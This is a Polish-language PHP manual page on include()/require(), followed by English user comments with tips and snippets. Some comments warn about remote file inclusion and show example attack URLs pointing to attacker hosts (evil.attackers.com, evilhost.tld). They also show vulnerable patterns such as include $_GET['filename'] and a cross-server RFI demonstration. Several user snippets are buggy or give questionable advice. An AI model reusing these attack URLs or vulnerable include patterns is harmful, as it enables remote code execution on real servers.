|
użytkowników online: 16
|
OPINIE UŻYTKOWNIKÓW
|
Na początku, kiedy zobaczyłem, że ktoś chce jakiejś opłaty za pomoc w tworzeniu stron ryknąłem śmiechem - potem przyszły problemy... i zaryzykowałem. Druga rzecz to: nie chciałem "kopiować". Ale prawda jest taka: są lepsi, bardziej doświadczeni i... czasem trzeba poprosić o pomoc, a jak poświęca się na to trzecią cześć życia, to nic dziwnego, że nie chce się swoich "sekretów" zdradzać za darmo. Skorzystałem z "algorytmy.pl" i naprawdę jestem z tego w 100% zadowolony, polecam - dla zawodowców (co się uczą) i amatorów (można skorzystać z gotowego rozwiązania).
Tomasz Czypicki
Cybernoxa
|
|
PODRĘCZNIK PHP 5.x, 4.x, 3.x - częściowo spolszczony / źródło: www.php.net
[Spis]
[A]
[B]
[C]
[D]
[E]
[F]
[G]
[H]
[I]
[J]
[K]
[L]
[M]
[N]
[O]
[P]
[Q]
[R]
[S]
[T]
[U]
[V]
[X]
[W]
[Z]
Instrukcja include() służy do wczytania i wykonania
kodu z określonego pliku w trakcie wykonywania skryptu.
Poniższa dokumentacja dotyczy także instrukcji
require(). Obydwie instrukcje są identyczne w każdym
szczególe, z wyjątkiem obsługi błędów. include()
generuje błąd typu Warning,
podczas gdy require() generuje błąd Fatal Error. Innymi słowy, funkcji
require() używa się, by zatrzymać przetwarzanie
skryptu, gdy brakuje jakiegoś pliku. Jeżeli zostanie użyta funkcja
include(), to w powyższej sytuacji skrypt będzie
przetwarzany dalej. Proszę pamiętać o właściwym ustawieniu dyrektywy
include_path.
Kiedy plik zostanie wczytany instrukcją include(),
zawarty w nim kod dziedziczy zasięg zmiennych po linii,
w której znajdowała się instrukcja wczytania. Każda zmienna dostępna
w linii z instrukcją include() będzie dostępna we
wczytywanym pliku od miejsca wczytania naprzód.
Przykład 16-3. Podstawowe wykorzystanie include() |
vars.php
<?php
$kolor = 'zielone';
$owoc = 'jabłko';
?>
test.php
<?php
echo "Jedno $kolor $owoc"; include 'vars.php';
echo "Jedno $kolor $owoc"; ?>
|
|
Jeśli instrukcja wczytania znajduje się wewnątrz deklaracji funkcji, to
cały kod zawarty w pliku wczytywanym będzie zachowywał się, jakby był
zdefiniowany wewnątrz tej funkcji. Znaczy to, że odziedziczy zasięg
zmiennych po tej funkcji.
Przykład 16-4. Wczytywanie wewnątrz funkcji |
<?php
function foo()
{
global $kolor;
include 'vars.php';
echo "Jeden $kolor $owoc";
}
foo(); echo "A $kolor $owoc"; ?>
|
|
Na początku wczytywanego pliku parsowanie wychodzi z trybu PHP do trybu
HTML i wraca do trybu początkowego na końcu. Z tego powodu każdy kod
wewnątrz wczytywanego pliku będzie wykonany jako kod PHP, o ile będzie
zawarty w ważnych
znacznikach początku i końca kodu PHP.
Jeśli
"URL fopen wrappers"
są włączone w PHP (takie jest domyślne ustawienie) można podać nazwę pliku
do wczytania używając adresu URL (przez protokół HTTP lub innym
obsługiwanym sposobem - zajrzyj do Dodatek L aby zapoznać
się z listą obsługiwanych protokołów), zamiast podawać
ścieżkę lokalną. Jeśli podany w adresie serwer interpretuje plik docelowy
jako kod PHP, można do tego skryptu przekazać zmienne w taki sam sposób
jak przy metodzie GET protokołu HTTP. Ściśle mówiąc, nie jest to to samo,
co wczytywanie pliku lokalnego; jest to wykonanie pliku na zdalnym serwerze
i wklejenie rezultatu jego działania do skryptu wywołującego. W tym
przypadku, rzecz jasna, zasięg globalny zmiennych nie obejmuje pliku
wczytywanego tą metodą.
| Ostrzeżenie | PHP w
wersji starszej niż 4.3.0, pracujące pod kontrolą systemów Windows, nie
obsługują dostępu do zdalnych plików w tej funkcji, nawet jeśli opcja allow_url_fopen jest
włączona. |
Przykład 16-5. include() i protokół HTTP |
<?php
include 'http://www.example.com/file.txt?foo=1&bar=2';
include 'file.php?foo=1&bar=2';
include 'http://www.example.com/file.php?foo=1&bar=2';
$foo = 1;
$bar = 2;
include 'file.txt'; include 'file.php'; ?>
|
|
Patrz także Korzystanie ze zdalnych
plików, fopen() i file().
Ponieważ include() i require() są
specialnymi konstrukcjami językowymi, muszą być umieszczone w instrukcji
grupującej, aby mogły działać w instrukcji warunkowej.
Przykład 16-6. include() i instrukcja warunkowa |
<?php
if ($warunek)
include $plik;
else
include $inny;
if ($warunek) {
include $plik;
} else {
include $inny;
}
?>
|
|
Obsługa zwracanych wartości: można wywołać instrukcję
return() wewnątrz wczytywanego pliku, aby zakończyć
jego wykonywanie i powrócić do pliku wywołującego. Można też zwracać
wartości z wczytywanych plików, co upodabnia wczytywanie plików do
wykorzystywania funkcji.
Notatka:
W PHP 3 instrukcja return() może pojawić się w bloku
instrukcji tylko wówczas, jeśli znajduje się on wewnątrz funkcji. W takim
przypadku, oczywiście, return() odnosi się do tej
funkcji a nie do całego pliku.
Przykład 16-7. include() i wyrażenie
return() |
return.php
<?php
$var = 'PHP';
return $var;
?>
noreturn.php
<?php
$var = 'PHP';
?>
testreturns.php
<?php
$foo = include 'return.php';
echo $foo; $bar = include 'noreturn.php';
echo $bar; ?>
|
|
Zmienna $bar ma wartość 1, ponieważ
wczytywanie pliku zakończyło się powodzeniem. Proszę zauważyć istotną
różnicę pomiędzy powyższymi przykładami. Pierwszy używa instrukcji
return() wewnątrz wczytywanego pliku, natomiast drugi
nie. Inne możliwości "wczytania" plików do zmiennych to
fopen(), file() lub przez użycie
include() razem z
Funkcjami Kontroli Wyjścia.
Patrz także require(), require_once(),
include_once(), readfile(),
virtual(), i
include_path.
User Contributed Notesgreatmagicalhat [at] gmail [dot] com
31-Jan-2006 07:44
I just found something out the hard way, maybe I can make sure some others do not have to:
when you use include/require(_once) to add a file that contains functions you want to use in the main document, you must make sure the file doesn't have the php extension
This is because php contents are first evaluated and then included, once evaluated all of te scripts have disappeared
Stephen Lee
19-Jan-2006 01:36
@ajsharp at gmail dot com
To find out which script has included another, use the Server Variable 'SCRIPT_NAME' (note: there are other server variables that also contain the script name, but I use this one simply because it works for me) e.g.
"variables.php"
<?php
$includer = basename($_SERVER['SCRIPT_NAME']);
switch ($includer) {
case 'a.php':
$this_variable = 'included by script a.php';
break;
case 'b.php':
$this_variable = 'included by script b.php';
break;
default:
$this_variable = 'included by unkown script';
}
echo $this_variable;
?>
Test with 3 different files "a.php", "b.php", "c.php", all with the same content:
<?php
include 'variables.php';
?>
10-Jan-2006 08:31
When you include a page in a function, this page will have local scope, so you will need the 'global' keyword to use a variable from the global scope or to set a variable that the can be used in the global scope.
Example:
<?php
global $a;
echo $a;
global $b;
$b = 'include var';
?>
<?php
$a = 'global var';
function doSomething()
{
include('file.php');
}
doSomething();
echo $b;
?>
stalker at ruun dot de
10-Jan-2006 01:55
a simple function to recursively include e.g. the include-directory of your site and its subdirs:
<?php
function includeRecurse($dirName) {
if(!is_dir($dirName))
return false;
$dirHandle = opendir($dirName);
while(false !== ($incFile = readdir($dirHandle))) {
if($incFile != "."
&& $incFile != "..") {
if(is_file("$dirName/$incFile"))
include_once("$dirName/$incFile");
elseif(is_dir("$dirName/$incFile")
includeRecurse("$dirName/$incFile");
}
}
closedir($dirHandle);
}
?>
ajsharp at gmail dot com
06-Jan-2006 10:20
Does anyone know if PHP has a function to find out which script has included another, for example:
"a.php"
<?php
include './b.php';
?>
"b.php"
<?php
echo 'Hello world.';
?>
Such a function seems a bit pointless in such a simple script, but it could come in handy if one had a sitewide variables script. You could use a switch or if statment to load specific variables, which would be determined by which script included the variables page. For example:
"variables.php"
<?php
switch ($includer) {
case 'this_script.php':
$this_variable = 'hello john';
break;
case 'that_script.php':
$that_variable = 'hello jane';
break;
}
?>
christoph dot luetjen at webedition dot de
03-Jan-2006 01:40
@Ting-Zien LEE
- It's better to use <?php ... ?> instead of <? ?>, short open tags are disabled on some systems.
- include is a statement and not a function, so syntax should be: include 'myfile.php' (NOT: include('myfile.php'))
- You comment is incorrect. When including a file no PHP code in strings will be executed, so your example will output
<? echo('Hello World'); ?>
But if you include a remote file e.g.
<?php
include 'http://www.somehost.tld/b.php'
?>
Only the output of b.php will be included, and that's your echo code. (But it would be easier just to include a textfile with your code that will not be parsed on remote server.)
That's why you should not do things like
<?php
include $_GET['filename'];
?>
because someone could request http://yourhost.tld/a.php?filename=http://www.evilhost.tld/b.php
... but that's a real old topic ;-)
Ting-Zien LEE
24-Nov-2005 02:05
Take note the following works in a web cgi environment, which may be a big security issue:
a.php:
<? include("b.php"); ?>
b.php:
<?
$var = "<? echo('Hello World'); ?>";
echo($var);
?>
output:
Hello World
Mine's installed with suPHP and PHP 5.0.4.
Do not use include if your file to-be-included prints data from a publicly writable database (e.g. forum, blog.) It may cause potential cross-site-scripting issues.
ia at zoznam dot sk
04-Nov-2005 03:26
samba at wsu dot edu
15-Oct-2005 09:13
I've been trying to figure out how to include files within a function and have them operate within the global scope. Until now, I've been writing all my include files to work with
$GLOBALS['some_global_var']
... but I just realized that there's another way...
<?
foreach(array_keys($GLOBALS) as $index => $key){
eval("$key = & $GLOBALS[$key];");
}
?>
Please feel free to comment on this.
15-Oct-2005 06:30
A problem you might be having is if you include a file from one directory and then that file in turn includes another file in yet another directory (relative to its current position). If you are experiencing this problem you need a work around.
Eg, File A.php located in directory 'somedir' includes file B.php located in 'somedir2'. File B.php includes file C.php which is located in 'somedir3'. For this example 'somedir' contains both 'somedir2' and 'somedir3'.
A.php's include statement:
-------
include("somedir2/B.php"); //Works fine...
-------
B.php's include statement:
-------
include("../somedir3/C.php"); //Doesn't work when included in A.php
-------
So a work around is needed. One option is to use the work around provided by "rainfalling at yahoo dot com" or, you could use the following adaptation of that example:
B.php's include statement that will work all the time:
-------
$pathFix = dirname(__FILE__);
include("$pathFix/../somedir3/C.php"); //Works all the time...
-------
php at bucksvsbytes dot com
03-Oct-2005 09:31
The documentation should make it clearer that the include argument is not a site path (i.e. not relative to the document root or to any web server defined aliases), but rather a path on the host relative to the calling script's directory.
Sharter at customsiliconebracelets dot com
27-Sep-2005 07:49
I put together a scheme to include remote files securely and thought I'd share it.
Basically I have a function that contains file names of the remote files I use throught out the site.
something like:
function remote_files()
{
global $functions, $log, $etc;
$functions = "97I34r5GHKJr5hkjBsjfg.sfd ojhG*(h";
$log = "p9uyjOLIHKYHOGhjk.,nOGihb";
$etc = "jhvb&GVJKe89y984ugfgajzdgf";
return(true);
}
The strings are actually hash values. When I create the pages on serverX that I know I'll need on serverY I hash them and name them their hash.
When I include the file on ServerY I do so using it's variable:
include("https://www.serverX.com/includes/remote/{$log}.php");
and I capture it's content using ob_start & ob_get_contents or whatever. I hash the value and compare it to it's file name. If there's no match, I "end;" and print a little error.
I'm not working with hundreds of files so it's no too hard to deal with the hash values. Also, the files are pretty well debugged and static at this point.
rainfalling at yahoo dot com
21-Sep-2005 03:06
This is yet another way to include files relative to the current file. I find it easier if you have a lot of includes.
<?php
$prewd = getcwd(); chdir(realpath(dirname(__FILE__))); include('includedfile.php'); chdir($prewd); ?>
kencomer at NOSPAM dot kencomer dot com
16-Sep-2005 04:57
If you are seeing this page, you are probably thinking of adding a path, in which case you should look at my add_include_path() on the set_include_path() page. I worked hard to make it a very clear example, so use it!
http://us2.php.net/manual/en/function.set-include-path.php
The comments below on the requirement for absolute paths do not seem to be true on my machines. YMMV. The best approach, naturally, is to make two three-line programs and check before going hog-wild. When you're done, go use my add_include_path() and your life will be one of wealth, luxury, and all the steamy, music-making sex you can stand. Or not. Either way, though, you'll be able to function in ways Viagra never dreamt of.
phpguy at excludme dot mailstop dot yogelements dot com
10-Sep-2005 08:33
On navvywavvy's not of 27-Aug-2005 02:53:
re: include'd/require'd function/method
does not see class property's/variable's
I just ran into this and after reading your solution-less description of the problem I decided to simply try passing the properties I needed to the included method by reference and it works just fine. I also tried passing the whole class space via $this and that works fine too.
Note that i was also include()ing and referencing the included method FROM a method, in fact the constructor in this case.
example class code:
<?php
class myclass {
var $samplevar;
function myclass() {
this->sample="value":
include('sampleinclude.incl');
samplemethod($this->samplevar);
}
}
?>
example sampleinclude.incl
<?
function samplemethod(&$samplevar) {
echo $samplevar;
}
?>
displays: value
I also tried to include/require sampleinclude.incl from classes globalspace ie outside of any method, thinking that I could then use $this->samplemethod() but it wouldn't let me.
Arnb
09-Sep-2005 05:58
I have my secondary PHP scripts in a Directory named PHP off the main Directory path on my Web Host's Linux server and was losing my mind getting Include() to to work from the secondary directory. This solution also preserves the base directory as searchable for Include(). Take a look at function set_include_path and the user comments for more information.
This code works for me where Foo.php is in http://Someurl.org/PHP/Foo.php
<?php
$path = './PHP/';
set_include_path(get_include_path() . PATH_SEPARATOR . $path);
include ('Foo.php');
<?
All dotted and slashed incarnatsion of this with the exception of the full http path, which did not seem to get my Global Variables, never worked for me
include ('./PHP/Foo.php');
tj at ranunes dot com
02-Sep-2005 01:51
Script to determine the location of a file that I am trying to include.
a. What is the path of the file in relation to the current directory, and assuming that the file name is relative to the scripts location?
include(FindScriptRelativeToCurentDirectory(dirname(realpath (__FILE__))) . "relpath/myIncFile.php");
where "relpath/myIncFile.php" is the name of the file that you are trying to include relative to your script (the script where the include() resides).
The path returned is terminated with a slash.
b. What is the path of the file in relation to the current directory, and assuming that the file name is relative to the doc root?
include(FindScriptRelativeToCurentDirectory("myFile", true, true));
the second parameter tells the function that myFile is relative to the doc root (instead of the executing script's path), and the second parameter tells the function that myFile contains a file name (it is not just a path).
/*
**** Get relative path of this file (relative to current directory)
$scriptPathOrName - either the path or name of the script that you are trying to find.
$scriptPathIsRelativeToDocRoot - if this is false, it is assumed that $scriptPathOrName is relative
to the script currently executing. Otherwise, it is relative to
doc root.
$thisIsAFileName - If true, then $scriptPathOrName includes the file name.
Otherwise, it is just a path.
*/
function FindScriptRelativeToCurentDirectory($scriptPathOrName, $scriptPathIsRelativeToDocRoot=false, $thisIsAFileName=false) {
$currentPath = realpath ('.');
$commonPathPtr = 0;
/* Find the character used to separate dir names (backslash in windows, forwardslash in Linux, etc.) */
$dirChar = "";
for ($i=0; $i < strlen($currentPath ); $i++) {
if ($currentPath{$i} == '/' or $currentPath{$i} == '\\') {
$dirChar = $currentPath{$i};
break;
}
}
/* If script is relative to doc root, combine the two */
if ($scriptPathIsRelativeToDocRoot) {
$rootPath = $_SERVER['DOCUMENT_ROOT'];
if($rootPath{strlen($rootPath)-1} != $dirChar) {
$rootPath .= $dirChar;
}
if ($scriptPathOrName{0} == '/' or $scriptPathOrName{0} == '\\') {
$scriptPathOrName = substr($scriptPathOrName, 1, strlen($scriptPathOrName) - 1);
}
$scriptPathOrName = $rootPath . $scriptPathOrName;
}
/* because you may developing in different systems that where you are going to deploy,
there may be a mix of backslashes and forwardslashes when combining the root path
with a script name. We need to insure consistency. */
if ($dirChar == '/') {
$scriptPathOrName = str_replace ('\\', $dirChar, $scriptPathOrName);
} else {
$scriptPathOrName = str_replace ('/', $dirChar, $scriptPathOrName);
}
/* Make sure that the paths end on slash */
if($currentPath{strlen($currentPath)-1} != $dirChar) {
$currentPath .= $dirChar;
}
if($scriptPathOrName{strlen($scriptPathOrName)-1} != $dirChar) {
$scriptPathOrName .= $dirChar;
}
/* Find out where it is that the two paths deviate */
for ($i=0; $i < strlen($currentPath) && $i < strlen($scriptPathOrName); $i++) {
if (strtolower($currentPath{$i}) != strtolower($scriptPathOrName{$i})) {
break;
}
if ($currentPath{$i} == $dirChar) {
$commonPathPtr = $i;
}
}
/* Navigate up the current directory to the node where the two directory trees were the same */
$relativePath = "." . $dirChar;
for (; $i < strlen($currentPath); $i++) {
if ($currentPath{$i} == $dirChar) {
$relativePath .= ".." . $dirChar;
}
}
/* Now append the directory down from the common node to where this file is at */
if ($commonPathPtr < strlen($scriptPathOrName)-1) {
$relativePath .= substr($scriptPathOrName, $commonPathPtr+1, strlen($scriptPathOrName)-$commonPathPtr-1);
}
/* Remove trailing slash if this was a filename */
if ($thisIsAFileName) {
$relativePath= substr($relativePath, 0, strlen($relativePath) - 1);
}
return($relativePath);
}
joelnation at stmarinas dot com
29-Aug-2005 12:31
I don't know if this has been mentioned before, but it drove me insane! If you are including a file that is in another directory to the one you are in now you must include the absoulte path to any includes in the new file eg:
In directory A I have a file
<?php
include(../B/include.inc);
?>
In directory B I have a include.inc and include2.inc
In include.inc
<?php
include(include2.inc)
include(home/path/to/my/webpage/B/include2.inc);
?>
I think when you include files inside another it uses the path from the original directory, which means you have to use the absolute path or things won't work as expected
navvywavvy
27-Aug-2005 11:53
In the documentation for include, they say that your included file will inherit the scope of the line where it was included. In other words, if you include a file within a function, it has access to all variables within that function, but no non-global variables outside that function.
I had a class definition, and in one of the methods I included a php file. However, when I tried to access any of the properties of the class, it didn't work.
Example:
class MyClass {
var $SomeProperty;
// Constructor
function MyClass () {
$this->SomeProperty = "A string of words";
}
function DoSomething() {
$foo = "bar";
include("include_file.php");
}
}
The contents of "include_file.php" are:
<?php
echo($foo);
echo($this->SomeProperty);
?>
Now, if you instantiate that class and call the DoSomething method, you will see:
bar
Notice: Undefined variable: this in /path/to/include_file.php on line 3
What a disappointment. So what are the options? The only ones I can come up with are:
a) redefine all properties of the class inside the function as function-specific variables before including your file and remove the "this->" from your included file.
b) remove the <?php and ?> lines from the file and use the file function to import the file contents into an array. Then implode the array and call eval on the string.
Both solutions are pretty awful. (a) is potentially a hell of a lot of work, and with (b) you can't ever break out of the php tags to write some plain html (all html will have to be echoed) - and I bet (b) is way slower than just including a file, too.
If anyone has any ideas about how to better get around this issue, please post it.
ystgermain at canac dot com
26-Aug-2005 03:50
When many files need to include the same file then you might end up with an error saying class/function already defined... To avoid this, you can use the following trick:
Add the following in your include file (NOTE: give a unique defined name for each include file):
if (!defined("GLOBALS_DEFINED"))
{
define("GLOBALS_DEFINED", 1);
//... Place code and definitions here
} // End of if (!defined(...
For example:
-----------------------
globals.php
<?php
if (!defined("GLOBALS_DEFINED"))
{
define("GLOBALS_DEFINED", 1);
class CMessages
{
} } ?>
-----------------------
test.php
<?php
include("globals.php");
-----------------------
main.php
<?php
include("test.php");
include("globals.php");
?>
-----------------------
wamsleye at yahoo dot com
24-Aug-2005 11:21
I had been looking around on how to make sure that a file is included, I guess the way to do it changed with new version, here we go:
<?php
if ((include "header.php") == true) {
echo ("header loaded");
}else{
echo("header not loaded");
}?>
hope that helps!
Jesper Juhl
14-Aug-2005 05:14
If you want to prevent direct access to some files and only allow them to be used as include files by other scripts, then an easy way to accomplish that is to check a define in the include file.
Like this.
includefile.php
---
<?php
defined('_VALID_INCLUDE') or die('Direct access not allowed.');
?>
script.php
---
<?php
define('_VALID_INCLUDE', TRUE);
include('includefile.php');
?>
fackelkind honorsociety de
09-Aug-2005 05:48
To check if the current script was includet, i wrote a fancy snipet:
<?php
$thisFileIsIncluded = (realpath ($_SERVER["SCRIPT_FILENAME"]) == realpath (__FILE__));
?>
Marcus Rodriguez
30-Jul-2005 11:31
The function below (posted by Ignacio) has a little bug in the line where you assign the $output variable. Should be:
$output = substr(ob_get_contents(),strlen($buffer));
Ignacio Esviza
28-Jul-2005 11:18
Just a better implementation of the function posted before...
A way to assign an include's output to a variable (without actually write it to the buffer) in order to make some process, or just print it more than one time, or something more usefull.
File "test.php":
<?php
ob_start();
$myOutput = getIncludeOutput("inc.test2.php");
echo "Here is the output:<br>";
echo str_to_upper( $myOutput )."<br>";
echo "And here is again the output:<br>";
echo str_to_lower( $myOutput )."<br>";
function getIncludeOutput($path){
$buffer = ob_get_contents();
include $path;
$output = substr($buffer,strlen($buffer));
ob_clean();
echo $buffer;
return $output;
}
?>
File "inc.test2.php":
<?php
echo "<i>Hello, World!</i><br>";
?>
Scott K
21-Jul-2005 06:39
Just a quick note:
If you want to include a file that is located at ../, then you need to format it in the include string as
include (./../filename.php);
Putting include (../filename.php); does not work, for some reason.
ignacio esviza
19-Jul-2005 11:10
Hi, there...
I've use this in order to grab the output from an include() but without sending it to the buffer.
Headers are not sent neither.
function include2($file){
$buffer = ob_get_contents();
include $file;
$output = substr(ob_get_contents(),strlen($buffer));
ob_end_clean();
ob_start();
echo $buffer;
return $output;
}
Ethilien
18-Jul-2005 09:04
Another way of getting the proper include path relative to the current file, rather than the working directory is:
<?php
include realpath(dirname(__FILE__) . "/" . "relative_path");
?>
Berenguer Blasi
04-Jul-2005 03:07
When working with a well organized project you may come across multiple problems when including, if your files are properly stored in some nice folders structure such as:
- src
- web
- bo
- lib
- test
- whatever
as the include path's behaviour is somehow strange.
The workaround I use is having a file (ex: SiteCfg.class.php) where you set all the include paths for your project such as:
$BASE_PATH = dirname(__FILE__);
$DEPENDS_PATH = ".;".$BASE_PATH;
$DEPENDS_PATH .= ";".$BASE_PATH."/lib";
$DEPENDS_PATH .= ";".$BASE_PATH."/test";
ini_set("include_path", ini_get("include_path").";".$DEPENDS_PATH);
Make all paths in this file relative to IT'S path. Later on you can import any file within those folders from wherever with inlude/_once, require/_once without worrying about their path.
Just cross fingers you have permissions to change the server's include path.
dazio at playable dot de
12-Jun-2005 11:01
to aaronfultom at softhome dot net:
Including a non-php file like the html template with ob_start() and ob_get_contents() equals file_get_contents(). Thus there's only a point in declaring/using get_include_contents() if you wanna get the echo of some included php file into a variable.
aaronfultom at softhome dot net
02-Jun-2005 10:07
I have been trying to use php's inlude to include an htm template file which has been marked up with some php variables. However when using include() the php parsing drops out. This code keeps the parsing on. Hope its of use to someone.
$buffer = addslashes(get_include_contents('resultspage.htm'));
eval("echo \"".$buffer."\";");
function get_include_contents($filename) {
if (is_file($filename)) {
ob_start();
include $filename;
$contents = ob_get_contents();
ob_end_clean();
return $contents;
}
return false;
}
results page.htm:
....
<TD>{$output[variable]}</TD>
....
17-May-2005 05:10
Thought you can figure it out by reading the doc, this hint might save you some time. If you override include_path, be sure to include the current directory ( . ) in the path list, otherwise include("includes/a.php") will not search in the current script directory.
e.g :
if(file_exists("includes/a.php"))
include("includes/a.php")
The first line will test to true, however include will not find the file, and you'll get a "failed to open stream" error
php at REMOVEMEkennel17 dot co dot uk
03-May-2005 02:20
As stated above, when using return() to terminate execution of an included file, any functions defined in the file will still be defined in the global scope, even if the return() occurs before their definition.
It should be noted that class definitions behave in the same way.
morris.php <A T> it-solutions.org
28-Apr-2005 02:31
Something not previously stated here - but found elsewhere - is that if a file is included using a URL and it has a '.php' extension - the file is parsed by php - not just included as it would be if it were linked to locally.
This means the functions and (more importantly) classes included will NOT work.
for example:
include "http://MyServer.com/MyInclude.php";
would not give you access to any classes or functions within the MyInclude.php file.
to get access to the functions or classes you need to include the file with a different extension - such as '.inc' This way the php interpreter will not 'get in the way' and the text will be included normally.
gillis dot php at TAKETHISAWAY dot gillis dot fi
14-Apr-2005 11:47
This is not directly linked to the include function itself. But i had a problem with dynamically generated include-files that could generate parse errors and cause the whole script to parse-error.
So as i could not find any ready solution for this problem i wrote the mini-function. It's not the most handsome solution, but it works for me.
<?php
function ChkInc($file){
if(substr(exec("php -l $file"), 0, 28) == "No syntax errors detected in"){
return true;
}else{
return false;
}
}
?>
if someone else has a better solution, do post it...
Note. remember that this function uses unchecked variables passed to exec, so don't use it for direct user input without improving it.
//Gillis Danielsen
necrotic at gmail dot com
09-Apr-2005 08:21
To expand on marco_ at voxpopuli-forum dot net's and redeye at cs-aktuell dot de's notes, here's a function to securely include files with direct output or a return.
<?php
define ( 'DOC_ROOT', $_SERVER["DOCUMENT_ROOT"] );
$badFiles = array (
'database.inc.php'
);
$badDirs = array (
DOC_ROOT.'/private',
);
function secure_include ( $file, $return = false )
{
global $badFiles, $badDirs;
if ( !is_array ( $badFiles ) OR !isset ( $badFiles ) ) $badFiles = array();
if ( !is_array ( $badDirs ) OR !isset ( $badDirs ) ) $badDirs = array();
$realPath = realpath ( $file );
$dirName = dirname ( $realPath );
$baseName = basename ( $realPath );
if ( !$realPath )
{
echo '<h1>404 Not Found</h1> We could not find the file you tried to load.';
return false;
}
else if ( in_array ( $baseName, $badFiles ) OR
in_array ( $dirName, $badDirs ) OR
!strstr ( $realPath, DOC_ROOT ) )
{
echo '<h1>403 Forbidden</h1> You do not have permission to view this file.';
return false;
}
else if ( !$return )
{
include_once ( $file );
return true;
}
else
{
ob_start();
include_once ( $file );
$page = ob_get_contents();
ob_end_clean();
return $page;
}
}
?>
dmhouse at gmail dot com
12-Feb-2005 06:56
Adding to the statements made by durkboek A_T hotmail D_O_T com, remote includes allow for the possibilities of Cross-Site Scripting (XSS) attacks. Quoting from George Schlossnagle's 'Advanced PHP Programming':
In late 2002 a widely publicized exploit was found in Gallery, photo album software written in PHP. Gallery used the configuration variable $GALLERY_BASEDIR, which was intended to allow users to change the default base directory for the software. The default behavior left the variable unset. Inside, the code include() statements all looked like this:
require($GALLERY_BASEDIR . "init.php");
The result was that if the server was running with register_globals on (which was the default behavior in earlier versions of PHP), an attacker could make a request like this:
http://gallery.example.com/view_photo.php? \
GALLERY_BASEDIR=http://evil.attackers.com/evilscript.php%3F
This would cause the require to actually evaluate as the following:
require("http://evil.attackers.com/evilscript.php ?init.php");
This would then download and execute the specified code from evil.attackers.com.
[...]
In his talk "One Year of PHP at Yahoo!" Michael Radwin suggested avoiding URL fopen() calls completely and instead using the curl extension that comes with PHP. This ensures than when you open a remote resource, you intended to open a remote resource.
marcus at lastcraft dot com
24-Jan-2005 02:39
Parse errors are not trapped in PHP 5.0.1 (probably other versions) with include(). Execution still stops the script. This differs from PHP 4.
This is a shame as you could detect and react to errors with...
$old = ini_get('track_errors');
ini_set('track_errors', true);
include($file);
ini_set('track_errors', $old);
if (isset($php_errormsg)) {
// Perform remedial action
}
...but alas, not with PHP 5.
dragon at wastelands dot net
10-Dec-2004 01:30
The __FILE__ macro will give the full path and name of an included script when called from inside the script. E.g.
<? include("/different/root/script.php"); ?>
And this file contains:
<? echo __FILE__; ?>
The output is:
/different/root/script.php
Surprisingly useful :> Obviously something like dirname(__FILE__) works just fine.
william~AT~phodex.dot.us
25-Sep-2004 02:23
Need a way to simpify the passing of may variables to include files? Working on a project where you don't have access to every script involved? Is an eval or some other routine killing your access to $GLOBALS?
Let us call this aproach Scope Linking.
-----------------------------
We can "hijack" the $_SESSION superglobal (or any other) and use it for our own purposes (assuming it's not in use already). HERE'S HOW:
-----------------------------
Main file (sample1.php):
<?php
include ('sample2.php');
$_SESSION['var3'] = array();
$var2 =& $_SESSION['var2'];
$var3 =& $_SESSION['var3'];
$var1 = "Origional var1";
$var2 = "Origional var2";
$var3 = array('house'=>'blue','car'=>'tired','jet'=>'scripted');
$results = &Funky();
echo "------------------------<br>\n";
echo "Sample1 Script Output<br>\n";
echo "Var1: $var1<br>\n";
echo "Var2: $var2<br>\n";
echo "Var3: ${var3['house']} ${var3['car']} ${var3['jet']}<br>\n";
echo "------------------------<br>\n";
?>
-----------------------------
-----------------------------
Included file (sample2.php):
<?php
function &Funky()
{
foreach ($_SESSION as $name=>$val )
{
$$name =& $_SESSION["$name"];
}
echo "------------------------<br>\n";
echo "Sample2 Script Output<br>\n";
echo "Var1: $var1<br>\n";
echo "Var2: $var2<br>\n";
echo "Var3: ${var3['house']} ${var3['car']} ${var3['jet']}<br>\n";
$var1 = 'Second var1';
$var2 = 'wow, both ways! var2 rulez!';
}
?>
-----------------------------
OUTPUT:
------------------------
Sample2 Script Output
Var1:
Var2: Origional var2
------------------------
Sample1 Script Output
Var1: Origional var1
Var2: wow, both ways! var2 rulez!
------------------------
YES this means predeclairing your variables by referencing them to $_SESSION elements unless you prefer to use the longer form:
<?php $_SESSION['var2'] = "here's var2"; ?>
if you want all $GLOBALS has to offer you can be way less specific (grab it all, slower & only a copy):
<?php
foreach ($GLOBALS as $name=>$val )
{
$_SESSION["$name"] = $val;
}
?>
To see what you have access to, paste this in at the point you're interested in:
-----------------------------
<?php
if(isset($_SESSION))
{
foreach ($_SESSION as $key=>$val)
{
echo "$key -- $val <br>\n";
}
}
?>
-----------------------------
P. S. Because it's a superglobal you can get away without using compact, but compact() & extract() are another options to crack this nut.
mattcimino at gardiners dot com
11-Aug-2004 02:47
To avoid painfully SLOW INCLUDES under IIS be sure to set "output_buffering = on" in php.ini. File includes dropped from about 2 seconds to 0 seconds when this was set.
unazona at hotmail dot com
06-Aug-2004 06:44
Hello,
I found away to turn over this, it was like this
strings.php
-----------
switch ($msg_id) {
case 001 : echo "test";break;
case 002 : echo "test2";break;
....}
index.php
------------
<script type=javascript>
msg = '<? $msg_id = 001; include "strings.php"; ?>';
alert(msg);
</script>
...................
Alert doesn't work, because of an additional LF which has been added by include, so I've changed the code as the follwing
strings.php
-----------
switch ($msg_id) {
case 001 : return "test";
case 002 : return "test2";
....}
index.php
------------
<script type=javascript>
msg = '<? $msg_id = 001; echo include "strings.php"; ?>';
alert(msg);
</script>
---------------
so workss .. good luck , am I right anyway ?????????,,
durkboek A_T hotmail D_O_T com
03-Jun-2004 01:09
I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:
<?php
include ($_GET['id'].".php");
?>
This is, of course, not a very good way to program, but i actually found a program doing this.
Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:
<?php
$output = "";
exec("ls -al",$output);
foreach($output as $line) {
echo $line . "<br>\n";
}
?>
If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.
But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.
So, allways be extremely carefull with remote includes.
marco_ at voxpopuli-forum dot net
12-Apr-2004 06:27
In addition to the redeye at cs-aktuell dot de note:
to make pseudo-frame in total security
example: http://www.yourdomain.com/index.php?page=news
<?php
if(isset($HTTP_GET_VARS['page']))
{
$p = $HTTP_GET_VARS['page'];
}
else
{
$p = 'index';
}
